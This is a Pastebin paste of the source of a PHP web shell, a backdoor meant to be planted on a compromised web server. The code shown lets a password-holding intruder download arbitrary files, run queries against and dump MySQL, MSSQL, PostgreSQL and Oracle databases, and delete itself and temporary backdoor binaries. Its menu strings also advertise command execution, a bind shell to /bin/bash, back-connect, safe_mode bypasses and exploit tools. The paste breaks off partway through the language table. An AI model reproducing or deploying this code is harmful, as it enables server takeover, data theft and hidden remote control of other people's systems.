johnburn

Decoded for: [email protected]

Jun 7th, 2011
22,315
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 97.13 KB | None | 0 0
  1. <?php
  2. /* -=[ Options ]=- */
  3. $language='eng';
  4. $auth = 1;
  5. $name='38a5e100826abcac02175f27a3e0ad0f'; // Login
  6. $pass='240619399a4abd3ea842b797514b8ffa'; // Password
  7. /******************************************************************/
  8. error_reporting(0);
  9. set_magic_quotes_runtime(0);
  10. @set_time_limit(0);
  11. @ini_set('max_execution_time',0);
  12. @ini_set('output_buffering',0);
  13. $safe_mode = @ini_get('safe_mode');
  14. $version = '';
  15. if(version_compare(phpversion(), '4.1.0') == -1)
  16.  {
  17.  $_POST   = &$HTTP_POST_VARS;
  18.  $_GET    = &$HTTP_GET_VARS;
  19.  $_SERVER = &$HTTP_SERVER_VARS;
  20.  $_COOKIE = &$HTTP_COOKIE_VARS;
  21.  }
  22. if (@get_magic_quotes_gpc())
  23.  {
  24.  foreach ($_POST as $k=>$v)
  25.   {
  26.   $_POST[$k] = stripslashes($v);
  27.   }
  28.  foreach ($_COOKIE as $k=>$v)
  29.   {
  30.   $_COOKIE[$k] = stripslashes($v);
  31.   }
  32.  }
  33.  
  34. if($auth == 1) {
  35. if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
  36.    {
  37.    header('WWW-Authenticate: Basic realm=""');
  38.    header('HTTP/1.0 401 Unauthorized');
  39.    exit("<b>weits!! mo ngapain sih... :)</b>");
  40.    }
  41. }  
  42. $head = '<!-- ??????????, ???? -->
  43. <html>
  44. <head>
  45. <title>®</title>
  46. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  47.  
  48. <STYLE>
  49. tr {
  50. BORDER-RIGHT:  #000000 1px solid;
  51. BORDER-TOP:    #444444 1px solid;
  52. BORDER-LEFT:   #444444 1px solid;
  53. BORDER-BOTTOM: #000000 1px solid;
  54. color: #FFFFFF;
  55. }
  56. td {
  57. BORDER-RIGHT:  #000000 1px solid;
  58. BORDER-TOP:    #444444 1px solid;
  59. BORDER-LEFT:   #444444 1px solid;
  60. BORDER-BOTTOM: #000000 1px solid;
  61. color: #FFFFFF;
  62. }
  63. .table1 {
  64. BORDER: 0px;
  65. BACKGROUND-COLOR: #000000;
  66. color: #FFFFFF;
  67. }
  68. .td1 {
  69. BORDER: 0px;
  70. font: 7pt Verdana;
  71. color: #FFFFFF;
  72. }
  73. .tr1 {
  74. BORDER: 0px;
  75. color: #FFFFFF;
  76. }
  77. table {
  78. BORDER:  #000000 1px outset;
  79. BACKGROUND-COLOR: #000000;
  80. color: #FFFFFF;
  81. }
  82. input {
  83. BORDER-RIGHT:  #000000 1px solid;
  84. BORDER-TOP:    #999999 1px solid;
  85. BORDER-LEFT:   #999999 1px solid;
  86. BORDER-BOTTOM: #000000 1px solid;
  87. BACKGROUND-COLOR: #000000;
  88. font: 8pt Verdana;
  89. color: #FFFFFF;
  90. }
  91. select {
  92. BORDER-RIGHT:  #000000 1px solid;
  93. BORDER-TOP:    #999999 1px solid;
  94. BORDER-LEFT:   #999999 1px solid;
  95. BORDER-BOTTOM: #000000 1px solid;
  96. BACKGROUND-COLOR: #000000;
  97. font: 8pt Verdana;
  98. color: #FFFFFF;
  99. }
  100. submit {
  101. BORDER:  buttonhighlight 2px outset;
  102. BACKGROUND-COLOR: #000000;
  103. width: 30%;
  104. color: #FFFFFF;
  105. }
  106. textarea {
  107. BORDER-RIGHT:  #000000 1px solid;
  108. BORDER-TOP:    #999999 1px solid;
  109. BORDER-LEFT:   #999999 1px solid;
  110. BORDER-BOTTOM: #000000 1px solid;
  111. BACKGROUND-COLOR: #000000;
  112. font: Fixedsys bold;
  113. color: #FFFFFF;
  114. }
  115. BODY {
  116. margin: 1px;
  117. color: #FFFFFF;
  118. background-color: #000000;
  119. }
  120. A:link {COLOR:red; TEXT-DECORATION: none}
  121. A:visited { COLOR:red; TEXT-DECORATION: none}
  122. A:active {COLOR:red; TEXT-DECORATION: none}
  123. A:hover {color:blue;TEXT-DECORATION: none}
  124. </STYLE>
  125. <script language=\'javascript\'>
  126. function hide_div(id)
  127. {
  128.  document.getElementById(id).style.display = \'none\';
  129.  document.cookie=id+\'=0;\';
  130. }
  131. function show_div(id)
  132. {
  133.  document.getElementById(id).style.display = \'block\';
  134.  document.cookie=id+\'=1;\';
  135. }
  136. function change_divst(id)
  137. {
  138.  if (document.getElementById(id).style.display == \'none\')
  139.    show_div(id);
  140.  else
  141.    hide_div(id);
  142. }
  143. </script>';
  144. class zipfile
  145. {
  146.     var $datasec      = array();
  147.     var $ctrl_dir     = array();
  148.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  149.     var $old_offset   = 0;
  150.     function unix2DosTime($unixtime = 0) {
  151.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  152.         if ($timearray['year'] < 1980) {
  153.             $timearray['year']    = 1980;
  154.             $timearray['mon']     = 1;
  155.             $timearray['mday']    = 1;
  156.             $timearray['hours']   = 0;
  157.             $timearray['minutes'] = 0;
  158.             $timearray['seconds'] = 0;
  159.         }
  160.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  161.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  162.     }
  163.     function addFile($data, $name, $time = 0)
  164.     {
  165.         $name     = str_replace('\\', '/', $name);
  166.         $dtime    = dechex($this->unix2DosTime($time));
  167.         $hexdtime = '\x' . $dtime[6] . $dtime[7]
  168.                   . '\x' . $dtime[4] . $dtime[5]
  169.                   . '\x' . $dtime[2] . $dtime[3]
  170.                   . '\x' . $dtime[0] . $dtime[1];
  171.         eval('$hexdtime = "' . $hexdtime . '";');
  172.         $fr   = "\x50\x4b\x03\x04";
  173.         $fr   .= "\x14\x00";            
  174.         $fr   .= "\x00\x00";            
  175.         $fr   .= "\x08\x00";            
  176.         $fr   .= $hexdtime;            
  177.         $unc_len = strlen($data);
  178.         $crc     = crc32($data);
  179.         $zdata   = gzcompress($data);
  180.         $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  181.         $c_len   = strlen($zdata);
  182.         $fr      .= pack('V', $crc);            
  183.         $fr      .= pack('V', $c_len);          
  184.         $fr      .= pack('V', $unc_len);        
  185.         $fr      .= pack('v', strlen($name));    
  186.         $fr      .= pack('v', 0);                
  187.         $fr      .= $name;
  188.         $fr .= $zdata;
  189.         $this -> datasec[] = $fr;
  190.         $cdrec = "\x50\x4b\x01\x02";
  191.         $cdrec .= "\x00\x00";                
  192.         $cdrec .= "\x14\x00";                
  193.         $cdrec .= "\x00\x00";                
  194.         $cdrec .= "\x08\x00";                
  195.         $cdrec .= $hexdtime;                
  196.         $cdrec .= pack('V', $crc);          
  197.         $cdrec .= pack('V', $c_len);        
  198.         $cdrec .= pack('V', $unc_len);      
  199.         $cdrec .= pack('v', strlen($name) );
  200.         $cdrec .= pack('v', 0 );            
  201.         $cdrec .= pack('v', 0 );            
  202.         $cdrec .= pack('v', 0 );            
  203.         $cdrec .= pack('v', 0 );            
  204.         $cdrec .= pack('V', 32 );            
  205.         $cdrec .= pack('V', $this -> old_offset );
  206.         $this -> old_offset += strlen($fr);
  207.         $cdrec .= $name;
  208.         $this -> ctrl_dir[] = $cdrec;
  209.     }
  210.     function file()
  211.     {
  212.         $data    = implode('', $this -> datasec);
  213.         $ctrldir = implode('', $this -> ctrl_dir);
  214.         return
  215.             $data .
  216.             $ctrldir .
  217.             $this -> eof_ctrl_dir .
  218.             pack('v', sizeof($this -> ctrl_dir)) .  
  219.             pack('v', sizeof($this -> ctrl_dir)) .  
  220.             pack('V', strlen($ctrldir)) .          
  221.             pack('V', strlen($data)) .              
  222.             "\x00\x00";              
  223.     }
  224. }
  225. function compress(&$filename,&$filedump,$compress)
  226.  {
  227.     global $content_encoding;
  228.     global $mime_type;
  229.     if ($compress == 'bzip' && @function_exists('bzcompress'))
  230.      {
  231.         $filename  .= '.bz2';
  232.         $mime_type = 'application/x-bzip2';
  233.         $filedump = bzcompress($filedump);
  234.      }
  235.      else if ($compress == 'gzip' && @function_exists('gzencode'))
  236.      {
  237.         $filename  .= '.gz';
  238.         $content_encoding = 'x-gzip';
  239.         $mime_type = 'application/x-gzip';
  240.         $filedump = gzencode($filedump);
  241.      }
  242.      else if ($compress == 'zip' && @function_exists('gzcompress'))
  243.      {
  244.         $filename .= '.zip';
  245.         $mime_type = 'application/zip';
  246.         $zipfile = new zipfile();
  247.         $zipfile -> addFile($filedump, substr($filename, 0, -4));
  248.         $filedump = $zipfile -> file();
  249.      }
  250.      else
  251.      {
  252.         $mime_type = 'application/octet-stream';
  253.      }
  254.  }
  255. function mailattach($to,$from,$subj,$attach)
  256.  {
  257.  $headers  = "From: $from\r\n";
  258.  $headers .= "MIME-Version: 1.0\r\n";
  259.  $headers .= "Content-Type: ".$attach['type'];
  260.  $headers .= "; name=\"".$attach['name']."\"\r\n";
  261.  $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
  262.  $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
  263.  if(@mail($to,$subj,"",$headers)) { return 1; }
  264.  return 0;
  265.  }
  266. class my_sql
  267.  {
  268.  var $host = 'localhost';
  269.  var $port = '';
  270.  var $user = '';
  271.  var $pass = '';   
  272.  var $base = '';   
  273.  var $db   = '';   
  274.  var $connection;
  275.  var $res;        
  276.  var $error;      
  277.  var $rows;      
  278.  var $columns;    
  279.  var $num_rows;  
  280.  var $num_fields;
  281.  var $dump;      
  282.  
  283.  function connect()
  284.   {    
  285.     switch($this->db)
  286.      {
  287.      case 'MySQL':  
  288.       if(empty($this->port)) { $this->port = '3306'; }
  289.       if(!function_exists('mysql_connect')) return 0;
  290.       $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); 
  291.       if(is_resource($this->connection)) return 1;
  292.      break;
  293.      case 'MSSQL':
  294.       if(empty($this->port)) { $this->port = '1433'; }
  295.       if(!function_exists('mssql_connect')) return 0;
  296.       $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); 
  297.       if($this->connection) return 1;
  298.      break;
  299.      case 'PostgreSQL':
  300.       if(empty($this->port)) { $this->port = '5432'; }
  301.       $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
  302.       if(!function_exists('pg_connect')) return 0;
  303.       $this->connection = @pg_connect($str);
  304.       if(is_resource($this->connection)) return 1;
  305.      break;
  306.      case 'Oracle':
  307.       if(!function_exists('ocilogon')) return 0;
  308.       $this->connection = @ocilogon($this->user, $this->pass, $this->base);
  309.       if(is_resource($this->connection)) return 1;
  310.      break;
  311.      }
  312.     return 0;  
  313.   }
  314.  
  315.  function select_db()
  316.   {
  317.    switch($this->db)
  318.     {
  319.     case 'MySQL':
  320.      if(@mysql_select_db($this->base,$this->connection)) return 1; 
  321.     break;
  322.     case 'MSSQL':
  323.      if(@mssql_select_db($this->base,$this->connection)) return 1;
  324.     break;
  325.     case 'PostgreSQL':
  326.      return 1;
  327.     break;
  328.     case 'Oracle':
  329.      return 1;
  330.     break;
  331.     }
  332.    return 0;  
  333.   }
  334.  
  335.  function query($query)
  336.   {
  337.    $this->res=$this->error='';
  338.    switch($this->db)
  339.     {
  340.     case 'MySQL':  
  341.      if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
  342.       {
  343.       $this->error = @mysql_error($this->connection);
  344.       return 0;
  345.       }
  346.      else if(is_resource($this->res)) { return 1; }                  
  347.      return 2;                                                          
  348.     break;
  349.     case 'MSSQL':
  350.      if(false===($this->res=@mssql_query($query,$this->connection)))
  351.       {
  352.       $this->error = 'Query error';
  353.       return 0;
  354.       }
  355.       else if(@mssql_num_rows($this->res) > 0) { return 1; }
  356.      return 2;    
  357.     break;
  358.     case 'PostgreSQL':
  359.      if(false===($this->res=@pg_query($this->connection,$query)))
  360.       {
  361.       $this->error = @pg_last_error($this->connection);
  362.       return 0;
  363.       }
  364.       else if(@pg_num_rows($this->res) > 0) { return 1; }
  365.      return 2;
  366.     break;
  367.     case 'Oracle':
  368.      if(false===($this->res=@ociparse($this->connection,$query)))
  369.       {
  370.       $this->error = 'Query parse error';  
  371.       }
  372.      else
  373.       {
  374.       if(@ociexecute($this->res))
  375.        {   
  376.        if(@ocirowcount($this->res) != 0) return 2;
  377.        return 1;   
  378.        }
  379.       $error = @ocierror();
  380.       $this->error=$error['message'];
  381.       }
  382.     break;
  383.     }  
  384.   return 0;
  385.   }
  386.  function get_result()
  387.   {
  388.    $this->rows=array();
  389.    $this->columns=array();
  390.    $this->num_rows=$this->num_fields=0;
  391.    switch($this->db)
  392.     {
  393.     case 'MySQL':
  394.      $this->num_rows=@mysql_num_rows($this->res);
  395.      $this->num_fields=@mysql_num_fields($this->res);
  396.      while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
  397.      @mysql_free_result($this->res);
  398.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  399.     break;
  400.     case 'MSSQL':
  401.      $this->num_rows=@mssql_num_rows($this->res);
  402.      $this->num_fields=@mssql_num_fields($this->res);    
  403.      while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
  404.      @mssql_free_result($this->res);
  405.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
  406.     break;
  407.     case 'PostgreSQL':
  408.      $this->num_rows=@pg_num_rows($this->res);
  409.      $this->num_fields=@pg_num_fields($this->res);  
  410.      while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
  411.      @pg_free_result($this->res);
  412.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  413.     break;
  414.     case 'Oracle':
  415.      $this->num_fields=@ocinumcols($this->res);
  416.      while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
  417.      @ocifreestatement($this->res);
  418.      if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
  419.     break;
  420.     }
  421.    return 0;    
  422.   }
  423.  function dump($table)
  424.   {
  425.    if(empty($table)) return 0;
  426.    $this->dump=array();
  427.    $this->dump[0] = '##';
  428.    $this->dump[1] = '## --------------------------------------- ';
  429.    $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
  430.    $this->dump[3] = '## Database: '.$this->base;
  431.    $this->dump[4] = '##    Table: '.$table;
  432.    $this->dump[5] = '## --------------------------------------- ';
  433.    switch($this->db)
  434.     {
  435.     case 'MySQL':
  436.      $this->dump[0] = '## MySQL dump';
  437.      if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
  438.      if(!$this->get_result()) return 0;
  439.      $this->dump[] = $this->rows[0]['Create Table'];
  440.      $this->dump[] = '## --------------------------------------- ';
  441.      if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
  442.      if(!$this->get_result()) return 0;
  443.      for($i=0;$i<$this->num_rows;$i++)
  444.       {
  445.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
  446.       $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; 
  447.       }
  448.     break;
  449.     case 'MSSQL':
  450.      $this->dump[0] = '## MSSQL dump';
  451.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  452.      if(!$this->get_result()) return 0;
  453.      for($i=0;$i<$this->num_rows;$i++)
  454.       {
  455.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}  
  456.       $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';   
  457.       }
  458.     break;
  459.     case 'PostgreSQL':
  460.      $this->dump[0] = '## PostgreSQL dump';
  461.      if($this->query('SELECT * FROM '.$table)!=1) return 0;
  462.      if(!$this->get_result()) return 0;
  463.      for($i=0;$i<$this->num_rows;$i++)
  464.       {
  465.       foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}  
  466.       $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';   
  467.       }    
  468.     break;
  469.     case 'Oracle':
  470.       $this->dump[0] = '## ORACLE dump';
  471.       $this->dump[]  = '## under construction';
  472.     break;
  473.     default:
  474.      return 0;
  475.     break;
  476.     }
  477.    return 1;    
  478.   }
  479.  function close()
  480.   {
  481.    switch($this->db)
  482.     {
  483.     case 'MySQL':
  484.      @mysql_close($this->connection);  
  485.     break;
  486.     case 'MSSQL':
  487.      @mssql_close($this->connection);
  488.     break;
  489.     case 'PostgreSQL':
  490.      @pg_close($this->connection);
  491.     break;
  492.     case 'Oracle':
  493.      @oci_close($this->connection);
  494.     break;
  495.     }  
  496.   }
  497.  function affected_rows()
  498.   {
  499.    switch($this->db)
  500.     {
  501.     case 'MySQL':
  502.      return @mysql_affected_rows($this->res);  
  503.     break;
  504.     case 'MSSQL':
  505.      return @mssql_affected_rows($this->res);
  506.     break;
  507.     case 'PostgreSQL':
  508.      return @pg_affected_rows($this->res);
  509.     break;
  510.     case 'Oracle':
  511.      return @ocirowcount($this->res);
  512.     break;
  513.     default:
  514.      return 0;
  515.     break;
  516.     }  
  517.   }
  518.  }
  519. if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
  520.  {
  521.   if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  522.   else
  523.    {
  524.     @ob_clean();
  525.     $filename = @basename($_POST['d_name']);
  526.     $filedump = @fread($file,@filesize($_POST['d_name']));
  527.     fclose($file);
  528.     $content_encoding=$mime_type='';
  529.     compress($filename,$filedump,$_POST['compress']);
  530.     if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
  531.     header("Content-type: ".$mime_type);
  532.     header("Content-disposition: attachment; filename=\"".$filename."\";");  
  533.     echo $filedump;
  534.     exit();
  535.    }       
  536.  }
  537. if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  538. if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
  539.  {
  540.  echo $head;
  541.  $sql = new my_sql();
  542.  $sql->db   = $_POST['db'];
  543.  $sql->host = $_POST['db_server'];
  544.  $sql->port = $_POST['db_port'];
  545.  $sql->user = $_POST['mysql_l'];
  546.  $sql->pass = $_POST['mysql_p'];   
  547.  $sql->base = $_POST['mysql_db'];
  548.  $querys = @explode(';',$_POST['db_query']);
  549.  
  550.  if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
  551.   else
  552.    {
  553.    if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; 
  554.    else
  555.     {
  556.     foreach($querys as $num=>$query)
  557.      {
  558.       if(strlen($query)>5)
  559.       {
  560.       echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
  561.       switch($sql->query($query))
  562.        {
  563.        case '0':
  564.        echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
  565.        break;  
  566.        case '1':
  567.        if($sql->get_result())
  568.         {
  569.         echo "<table width=100%>";
  570.         foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
  571.         $keys = @implode("&nbsp;</b></font></td><td bgcolor=#000000><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
  572.         echo "<tr><td bgcolor=#000000><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  573.         for($i=0;$i<$sql->num_rows;$i++)
  574.          {
  575.          foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
  576.          $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
  577.          echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
  578.          }
  579.         echo "</table>";
  580.         }
  581.        break;  
  582.        case '2':
  583.        $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
  584.        echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
  585.        break;      
  586.        }   
  587.       }
  588.      }
  589.     }
  590.    }  
  591.  echo "<br><form name=form method=POST>";
  592.  echo in('hidden','db',0,$_POST['db']);
  593.  echo in('hidden','db_server',0,$_POST['db_server']);
  594.  echo in('hidden','db_port',0,$_POST['db_port']);
  595.  echo in('hidden','mysql_l',0,$_POST['mysql_l']);
  596.  echo in('hidden','mysql_p',0,$_POST['mysql_p']);
  597.  echo in('hidden','mysql_db',0,$_POST['mysql_db']);
  598.  echo in('hidden','cmd',0,'db_query');
  599.  echo "<div align=center>";
  600.  echo "<font face=Verdana size=-2><b>Base : </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
  601.  echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
  602.  echo "</form>";
  603.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  604.  } 
  605. if(isset($_GET['delete']))
  606.  {
  607.    @unlink(__FILE__);
  608.  }
  609. if(isset($_GET['tmp']))
  610.  {
  611.    @unlink("/tmp/bdpl");
  612.    @unlink("/tmp/back");
  613.    @unlink("/tmp/bd");
  614.    @unlink("/tmp/bd.c");
  615.    @unlink("/tmp/dp");
  616.    @unlink("/tmp/dpc");
  617.    @unlink("/tmp/dpc.c");
  618.  }
  619. if(isset($_GET['phpini']))
  620. {
  621. echo $head;
  622. function U_value($value)
  623.  {
  624.  if ($value == '') return '<i>no value</i>';
  625.  if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  626.  if ($value === null) return 'NULL';
  627.  if (@is_object($value)) $value = (array) $value;
  628.  if (@is_array($value))
  629.  {
  630.  @ob_start();
  631.  print_r($value);
  632.  $value = @ob_get_contents();
  633.  @ob_end_clean();
  634.  }
  635.  return U_wordwrap((string) $value);
  636.  }
  637. function U_wordwrap($str)
  638.  {
  639.  $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  640.  return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  641.  }
  642. if (@function_exists('ini_get_all'))
  643.  {
  644.  $r = '';
  645.  echo '<table width=100%>', '<tr><td bgcolor=#000000><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#000000><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#000000><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
  646.  foreach (@ini_get_all() as $key=>$value)
  647.   {
  648.   $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  649.   }
  650.  echo $r;
  651.  echo '</table>';
  652.  }
  653. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  654. die();
  655. }
  656. if(isset($_GET['cpu']))
  657.  {
  658.    echo $head;
  659.    echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
  660.    $cpuf = @file("cpuinfo");
  661.    if($cpuf)
  662.     {
  663.       $c = @sizeof($cpuf);
  664.       for($i=0;$i<$c;$i++)
  665.         {
  666.           $info = @explode(":",$cpuf[$i]);
  667.           if($info[1]==""){ $info[1]="---"; }
  668.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  669.         }
  670.       echo $r;
  671.     }
  672.    else
  673.     {
  674.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  675.     }
  676.    echo '</table>';
  677.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  678.    die();
  679.  }
  680. if(isset($_GET['mem']))
  681.  {
  682.    echo $head;
  683.    echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
  684.    $memf = @file("meminfo");
  685.    if($memf)
  686.     {
  687.       $c = sizeof($memf);
  688.       for($i=0;$i<$c;$i++)
  689.         {
  690.           $info = explode(":",$memf[$i]);
  691.           if($info[1]==""){ $info[1]="---"; }
  692.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  693.         }
  694.       echo $r;
  695.     }
  696.    else
  697.     {
  698.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  699.     }
  700.    echo '</table>';
  701.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  702.    die();
  703.  }
  704. $lang=array(
  705.  
  706. /* -=[ language section ]=- */
  707. 'eng_text1' =>'Executed command ',
  708. 'eng_text2' =>'Execute command on server',
  709. 'eng_text3' =>'Run command',
  710. 'eng_text4' =>'Work directory',
  711. 'eng_text5' =>'Upload files on server',
  712. 'eng_text6' =>'Local file',
  713. 'eng_text7' =>'Aliases',
  714. 'eng_text8' =>'Select alias',
  715. 'eng_butt1' =>'Execute',
  716. 'eng_butt2' =>'Upload',
  717. 'eng_text9' =>'Bind port to /bin/bash',
  718. 'eng_text10'=>'Port',
  719. 'eng_text11'=>'Password for access',
  720. 'eng_butt3' =>'Bind',
  721. 'eng_text12'=>'Back connect',
  722. 'eng_text13'=>'IP',
  723. 'eng_text14'=>'Port',
  724. 'eng_butt4' =>'Connect',
  725. 'eng_text15'=>'Upload files from remote server',
  726. 'eng_text16'=>'With',
  727. 'eng_text17'=>'Remote file',
  728. 'eng_text18'=>'Local file',
  729. 'eng_text19'=>'Exploits',
  730. 'eng_text20'=>'Use',
  731. 'eng_text21'=>'&nbsp;New name',
  732. 'eng_text22'=>'datapipe',
  733. 'eng_text23'=>'Local port',
  734. 'eng_text24'=>'Remote host',
  735. 'eng_text25'=>'Remote port',
  736. 'eng_text26'=>'Use',
  737. 'eng_butt5' =>'Run',
  738. 'eng_text28'=>'Work in safe_mode',
  739. 'eng_text29'=>'ACCESS DENIED',
  740. 'eng_butt6' =>'Change',
  741. 'eng_text30'=>'Cat file',
  742. 'eng_butt7' =>'Show',
  743. 'eng_text31'=>'File not found',
  744. 'eng_text32'=>'Eval PHP code',
  745. 'eng_text33'=>'Test bypass open_basedir with cURL functions',
  746. 'eng_butt8' =>'Test',
  747. 'eng_text34'=>'Test bypass safe_mode with include function',
  748. 'eng_text35'=>'Test bypass safe_mode with load file in mysql',
  749. 'eng_text36'=>'Database . Table',
  750. 'eng_text37'=>'Login',
  751. 'eng_text38'=>'Password',
  752. 'eng_text39'=>'Database',
  753. 'eng_text40'=>'Dump database table',
  754. 'eng_butt9' =>'Dump',
  755. 'eng_text41'=>'Save dump in file',
  756. 'eng_text42'=>'Edit files',
  757. 'eng_text43'=>'File for edit',
  758. 'eng_butt10'=>'Save',
  759. 'eng_text44'=>'Can\'t edit file! Only read access!',
  760. 'eng_text45'=>'File saved',
  761. 'eng_text46'=>'Show phpinfo()',
  762. 'eng_text47'=>'Show variables from php.ini',
  763. 'eng_text48'=>'Delete temp files',
  764. 'eng_butt11'=>'Edit file',
  765. 'eng_text49'=>'Delete script from server',
  766. 'eng_text50'=>'View cpu info',
  767. 'eng_text51'=>'View memory info',
  768. 'eng_text52'=>'Find text',
  769. 'eng_text53'=>'In dirs',
  770. 'eng_text54'=>'Find text in files',
  771. 'eng_butt12'=>'Find',
  772. 'eng_text55'=>'Only in files',
  773. 'eng_text56'=>'Nothing :(',
  774. 'eng_text57'=>'Create/Delete File/Dir',
  775. 'eng_text58'=>'name',
  776. 'eng_text59'=>'file',
  777. 'eng_text60'=>'dir',
  778. 'eng_butt13'=>'Create/Delete',
  779. 'eng_text61'=>'File created',
  780. 'eng_text62'=>'Dir created',
  781. 'eng_text63'=>'File deleted',
  782. 'eng_text64'=>'Dir deleted',
  783. 'eng_text65'=>'Create',
  784. 'eng_text66'=>'Delete',
  785. 'eng_text67'=>'Chown/Chgrp/Chmod',
  786. 'eng_text68'=>'Command',
  787. 'eng_text69'=>'param1',
  788. 'eng_text70'=>'param2',
